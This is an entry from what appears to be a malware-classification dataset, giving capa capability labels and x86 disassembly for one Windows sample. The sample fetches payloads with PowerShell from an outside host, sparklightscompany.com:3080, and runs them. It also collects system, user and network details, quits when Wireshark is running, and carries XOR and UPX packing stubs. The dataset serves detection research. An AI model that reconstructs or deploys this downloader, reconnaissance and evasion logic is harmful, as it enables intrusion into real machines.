joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e910
Capabilities:
Send icmp echo request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x10], 0x28
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40e942
mov dword [esp], str.Unable_to_allocate_memory_for_the_reply_buffer._n
call sym._printf_12
jmp 0x40ea8d
call sym._IcmpCreateFile_0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x40e97e
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.IcmpCreateFile_returned_an_error:__ld_n
call sym._printf_12
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0x14], 0
jmp 0x40ea8d
mov dword [ebp - 0xc], 0
jmp 0x40ea61
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [esp + 0x1c], 0x3e8
mov edx, dword [ebp - 0x10]
mov dword [esp + 0x18], edx
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
mov dword [esp + 8], str.Data
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._IcmpSendEcho_32
sub esp, 0x20
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x40ea24
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [eax + 0x14]
movzx ecx, al
mov eax, dword [ebp - 0x20]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x20]
movzx eax, word [eax + 0xc]
movzx eax, ax
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Ping_to__s_successful:_bytes_d_time_ldms_TTL_d_n
call sym._printf_12
jmp 0x40ea4c
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Ping_to__s_failed._Error:__ld_n
call sym._printf_12
mov dword [0x44d01c], 1
mov dword [esp], 0x3e8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jl 0x40e98a
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._IcmpCloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0x14], 0
leave
ret

Function at 0x40ea8f
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
mov dword [ebp - 0xc], 5
cmp dword [ebp - 0xc], 0
jg 0x40eaac
mov eax, 1
jmp 0x40eaf5
lea eax, [ebp - 0x1a0]
mov dword [esp + 4], eax
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40ead7
mov eax, 1
jmp 0x40eaf5
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._pingit
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov eax, dword [0x44d01c]
leave
ret
Function at 0x40ef66
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a8
mov dword [ebp - 0xc], str.sparklightscompany.com:3080
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_Write_Output__Invoke_WebRequest__Uri__http:___s__s__.Content
lea eax, [ebp - 0xae]
mov dword [esp], eax
call sym._sprintf_14
mov dword [esp + 4], 0x443d5c
lea eax, [ebp - 0xae]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__popen]
call eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40efff
mov dword [esp], str.popen_failed
call sym._perror
mov eax, 1
jmp 0x40f1a6
lea eax, [ebp - 0x12e]
mov dword [esp + 4], eax
mov dword [esp], 0x443d6b
call sym._printf_13
lea eax, [ebp - 0x12e]
mov dword [esp + 4], eax
lea eax, [ebp - 0x160]
mov dword [esp], eax
call sym._strcpy
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0x12e]
mov dword [esp], eax
call sym._fgets
test eax, eax
jne 0x40efd1
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__pclose]
call eax
cmp eax, 0xffffffff
jne 0x40f048
mov dword [esp], str.pclose_failed
call sym._perror
mov eax, 1
jmp 0x40f1a6
mov dword [esp + 4], str.0.1.1
lea eax, [ebp - 0x160]
mov dword [esp], eax
call sym._strstr
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x160]
mov dword [esp + 4], eax
mov dword [esp], str.Check_version_return:__s_n
call sym._printf_13
cmp dword [ebp - 0x14], 0
jne 0x40f195
mov dword [esp], str.UPDATE_VERSION
call sym._puts
mov eax, dword [ebp + 0x14]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.C:Users_s_s_s
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sym._sprintf_14
mov eax, dword [ebp + 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.https:___s__s
lea eax, [ebp - 0x3c0]
mov dword [esp], eax
call sym._sprintf_14
lea eax, [ebp - 0x488]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x3c0]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_Invoke_WebRequest__Uri___s___OutFile___s_
lea eax, [ebp - 0x2f8]
mov dword [esp], eax
call sym._sprintf_14
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
lea eax, [ebp - 0x2f8]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40f13b
mov dword [esp], str.__Download_failed
call sym._puts
mov eax, 1
jmp 0x40f1a6
lea eax, [ebp - 0x488]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x168]
mov dword [esp + 4], eax
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sym._execve
cmp eax, 0xffffffff
jne 0x40f195
mov dword [esp], str.__Running_updater_failed
call sym._puts
mov dword [esp], str.execve
call sym._perror
mov eax, 1
jmp 0x40f1a6
mov dword [esp], str.DONT_UPDATE_VERSION
call sym._puts
mov eax, 0
leave
ret
Function at 0x40f1a8
Capabilities:
Execute command
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x738
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_dir__s____null
lea eax, [ebp - 0x144]
mov dword [esp], eax
call sym._sprintf_14
lea eax, [ebp - 0x144]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40f3aa
mov eax, dword [ebp + 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.C:Users_s_s
lea eax, [ebp - 0x590]
mov dword [esp], eax
call sym._sprintf_14
mov dword [esp + 4], 0x443ba8
lea eax, [ebp - 0x590]
mov dword [esp], eax
call sym._check_exist
test eax, eax
jne 0x40f278
lea eax, [ebp - 0x590]
mov dword [esp + 8], eax
mov dword [esp + 4], str.mkdir__s
lea eax, [ebp - 0x338]
mov dword [esp], eax
call sym._sprintf_14
lea eax, [ebp - 0x338]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40f26c
mov dword [esp], str.Created_folder
call sym._puts
jmp 0x40f278
mov dword [esp], str.Creating_folder_failed
call sym._puts
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.C:Users_s_s411x_48kj.md
lea eax, [ebp - 0x720]
mov dword [esp], eax
call sym._sprintf_14
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], str.http:___s__s
lea eax, [ebp - 0x464]
mov dword [esp], eax
call sym._sprintf_14
lea eax, [ebp - 0x720]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x464]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_Invoke_WebRequest__Uri___s___OutFile___s_
lea eax, [ebp - 0x338]
mov dword [esp], eax
call sym._sprintf_14
mov eax, dword [ebp + 0x18]
mov dword [esp], eax
call sym._free
lea eax, [ebp - 0x464]
mov dword [esp + 4], eax
mov dword [esp], str.CURL_DOWNLOAD_URL:__s_n
call sym._printf_13
lea eax, [ebp - 0x338]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40f335
mov dword [esp], str.No_curl
call sym._puts
mov eax, 1
jmp 0x40f3af
mov dword [esp + 4], 0x443e8e
lea eax, [ebp - 0x720]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40f367
mov dword [esp], str.Curl_file_not_downloaded
call sym._puts
mov eax, 1
jmp 0x40f3af
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.C:Users_s_scurl.exe
lea eax, [ebp - 0x658]
mov dword [esp], eax
call sym._sprintf_14
lea eax, [ebp - 0x658]
mov dword [esp + 4], eax
lea eax, [ebp - 0x720]
mov dword [esp], eax
call sym._rename
mov eax, 0
jmp 0x40f3af
mov eax, 0
leave
ret
Function at 0x40f451
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
mov dword [ebp - 0x2a], 0x65776f70
mov dword [ebp - 0x26], 0x65687372
mov dword [ebp - 0x22], 0x77206c6c
mov dword [ebp - 0x1e], 0x6d616f68
mov word [ebp - 0x1a], 0x69
mov dword [esp + 4], 0x443ed0
lea eax, [ebp - 0x2a]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__popen]
call eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x64
lea eax, [ebp - 0x8e]
mov dword [esp], eax
call sym._fgets
lea eax, [ebp - 0x8e]
mov dword [esp], eax
call sym._SHA256
mov dword [ebp - 0x14], eax
mov dword [esp], 0xd
call sym._malloc
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], 0
jmp 0x40f4f3
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
add eax, edx
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0xc]
add edx, ecx
movzx eax, byte [eax]
mov byte [edx], al
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xc
jbe 0x40f4da
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x18]
add eax, 0xd
mov byte [eax], 0
mov eax, dword [ebp - 0x18]
leave
ret
Function at 0x40f6ad
Capabilities:
Capture network configuration via ipconfig
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa68
call sym._get_uid
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s.txt
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sym._sprintf_15
lea eax, [ebp - 0x21c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_systeminfo_____s
lea eax, [ebp - 0x348]
mov dword [esp], eax
call sym._sprintf_15
lea eax, [ebp - 0x21c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_ipconfig__all_____s
lea eax, [ebp - 0x474]
mov dword [esp], eax
call sym._sprintf_15
lea eax, [ebp - 0x21c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_net_user_____s
lea eax, [ebp - 0x5a0]
mov dword [esp], eax
call sym._sprintf_15
lea eax, [ebp - 0x21c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_tasklist__v_____s
lea eax, [ebp - 0x6cc]
mov dword [esp], eax
call sym._sprintf_15
lea eax, [ebp - 0x21c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_net_view__all_____s
lea eax, [ebp - 0x7f8]
mov dword [esp], eax
call sym._sprintf_15
lea eax, [ebp - 0x21c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_query_u_____s
lea eax, [ebp - 0x924]
mov dword [esp], eax
call sym._sprintf_15
lea eax, [ebp - 0x21c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_net_localgroup_administrators_____s
lea eax, [ebp - 0xa50]
mov dword [esp], eax
call sym._sprintf_15
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
lea eax, [ebp - 0x348]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40f7f0
mov dword [esp], str.Get_systeminfo_failed
call sym._puts
lea eax, [ebp - 0x474]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40f813
mov dword [esp], str.Get_ipconfig_failed
call sym._puts
lea eax, [ebp - 0x5a0]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40f836
mov dword [esp], str.Net_user_failed
call sym._puts
lea eax, [ebp - 0x6cc]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x40f859
mov dword [esp], str.Net_user_failed
call sym._puts
lea eax, [ebp - 0x7f8]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x40f87c
mov dword [esp], str.Net_user_failed
call sym._puts
lea eax, [ebp - 0x924]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x40f89f
mov dword [esp], str.Net_user_failed
call sym._puts
lea eax, [ebp - 0xa50]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40f8c2
mov dword [esp], str.Net_user_failed
call sym._puts
mov eax, 0
leave
ret
Function at 0x40f8cc
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x30]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call eax
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 3
ja 0x40f8f5
mov eax, 0
jmp 0x40f8fa
mov eax, 1
leave
ret

Function at 0x40f8fc
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 0x50], 0x40
lea eax, [ebp - 0x50]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call eax
sub esp, 4
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
shrd eax, edx, 0x14
shr edx, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x7ff
ja 0x40f939
mov eax, 0
jmp 0x40f939
leave
ret

Function at 0x40f93b
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x454
lea edx, [ebp - 0x238]
mov eax, 0
mov ecx, 0x8b
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x238], 0x22c
mov dword [esp + 4], 0
mov dword [esp], 2
call sym._CreateToolhelp32Snapshot_8
sub esp, 8
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._Process32FirstW_8
sub esp, 8
test eax, eax
je 0x40fa14
lea eax, [ebp - 0x238]
add eax, 0x24
mov dword [esp + 8], eax
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x442]
mov dword [esp], eax
call dbg.StringCchCopyW@12
sub esp, 0xc
lea eax, [ebp - 0x442]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_CharUpperW]
call eax
sub esp, 4
mov dword [esp + 4], str.WIRESHARK.EXE
lea eax, [ebp - 0x442]
mov dword [esp], eax
call sym._wcsstr
test eax, eax
je 0x40f9f8
mov dword [esp], 0
call sym._exit
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._Process32NextW_8
sub esp, 8
test eax, eax
jne 0x40f999
mov dword [esp], str.Now_hacking..._n
call sym._wprintf_s
nop
mov edi, dword [ebp - 4]
leave
ret

Function at 0x40fda0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x40fe00
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x44d054]
test esi, esi
jle 0x40ff20
mov eax, dword [0x44d058]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x40fe34
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x40feb7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x40fe20
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x40ff47
mov eax, dword [0x44d058]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x44d058]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40ff27
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x40feb0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x40fec0
add dword [0x44d054], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x44d058]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x40feb0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40fe3e
mov eax, dword [0x44d058]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x410460
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x44d070
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x44d068]
sub esp, 4
test ebx, ebx
je 0x4104b5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4104ae
test esi, esi
je 0x4104ae
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x410490
mov dword [esp], 0x44d070
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4107f0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x410815
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x410820
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x410815
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x410868
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x41085e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x41086a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x410850
xor eax, eax
pop ebx
pop esi
ret

Function at 0x410c90
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x13c
mov ebx, dword [esp + 0x150]
call sym.__errno
mov dword [eax], 0
test ebx, ebx
je 0x410e10
cmp byte [ebx], 0
je 0x410dd8
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
sub esp, 4
cmp eax, 0xffffffff
je 0x410e20
test al, 0x10
je 0x410dd8
lea esi, [esp + 0x2c]
mov dword [esp + 4], ebx
mov dword [esp + 8], 0x104
mov dword [esp], esi
call sym.__fullpath
mov dword [esp], esi
call sym._strlen
mov dword [esp + 0x1c], eax
mov ebx, eax
lea eax, [eax + 0x233]
mov dword [esp], eax
call sym._malloc
mov edx, eax
test eax, eax
je 0x410e2f
lea ebp, [eax + 0x22c]
lea eax, [ebx + 1]
cmp eax, 4
jb 0x410db0
mov ecx, dword [esp + eax + 0x28]
mov edi, ebp
mov dword [ebp + eax - 4], ecx
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
cmp byte [edx + 0x22c], 0
je 0x410d5a
movzx ecx, byte [edx + ebx + 0x22b]
cmp cl, 0x5c
je 0x410d5a
cmp cl, 0x2f
jne 0x410df8
mov eax, dword [esp + 0x1c]
mov ecx, 0x2a
lea ebx, [edx + 0x120]
mov edi, ebx
mov word [ebp + eax], cx
xor eax, eax
mov ecx, 0x41
mov dword [edx + 0x224], 0xffffffff
mov dword [edx + 0x228], 0
mov dword [edx + 0x118], 0
mov dword [edx + 0x11c], 0
rep stosd dword es:[edi], eax
add esp, 0x13c
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
test eax, eax
je 0x410d3b
movzx ecx, byte [esp + 0x2c]
mov byte [ebp], cl
test al, 2
je 0x410d3b
movzx ecx, word [esp + eax + 0x2a]
mov word [ebp + eax - 2], cx
jmp 0x410d3b
call sym.__errno
xor edx, edx
mov dword [eax], 0x14
add esp, 0x13c
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, 0x5c
mov dword [esp + 0x1c], eax
mov word [ebp + ebx], si
jmp 0x410d5a
call sym.__errno
xor edx, edx
mov dword [eax], 0xe
jmp 0x410de5
call sym.__errno
xor edx, edx
mov dword [eax], 2
jmp 0x410de5
call sym.__errno
xor edx, edx
mov dword [eax], 0xc
jmp 0x410de5
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x4b5e60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x73000]
push edi
jmp 0x4b5e7a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b5e81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b5e70
mov eax, 1
add ebx, ebx
jne 0x4b5e93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b5ea4
jne 0x4b5ec3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b5ec3
dec eax
add ebx, ebx
jne 0x4b5eb0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b5e88
add ebx, ebx
jne 0x4b5ebf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b5f15
xor ecx, ecx
sub eax, 3
jb 0x4b5edb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b5f4a
sar eax, 1
mov ebp, eax
jmp 0x4b5ee6
add ebx, ebx
jne 0x4b5ee6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b5eb4
inc ecx
add ebx, ebx
jne 0x4b5ef4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b5eb4
add ebx, ebx
jne 0x4b5f01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b5ef6
jne 0x4b5f12
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b5ef6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b5f34
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b5f26
jmp 0x4b5e76
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b5f34
add edi, ecx
jmp 0x4b5e76
pop esi
mov edi, esi
mov ecx, 0x379b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b5f52
cmp byte [edi], 0x13
jne 0x4b5f52
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b5f57
lea edi, [esi + 0xb1000]
mov eax, dword [edi]
or eax, eax
je 0x4b5fcf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xba998]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xbaaec]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b5f84
mov ecx, edi
jns 0x4b5fb3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xbaaf0]
or eax, eax
je 0x4b5fc9
mov dword [ebx], eax
add ebx, 4
jmp 0x4b5fa1
call dword [esi + 0xbab00]
mov ebp, dword [esi + 0xbaaf4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b6003
sub esp, 0xffffff80
jmp 0x4165c1